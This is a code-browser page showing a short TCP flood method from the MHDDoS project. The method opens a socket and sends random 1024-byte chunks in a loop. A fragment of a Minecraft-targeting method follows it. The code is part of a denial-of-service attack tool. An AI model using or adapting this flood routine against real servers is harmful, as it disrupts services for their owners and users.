MCPcopy Index your code
hub / github.com/MatrixTM/MHDDoS / TCP

Method TCP

start.py:500–505  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

498 return s
499
500 def TCP(self) -> None:
501 s = None
502 with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
503 while Tools.send(s, randbytes(1024)):
504 continue
505 Tools.safe_close(s)
506
507 def MINECRAFT(self) -> None:
508 handshake = Minecraft.handshake(self._target, self.protocolid, 1)

Callers

nothing calls this directly

Calls 3

open_connectionMethod · 0.95
sendMethod · 0.80
safe_closeMethod · 0.80

Tested by

no test coverage detected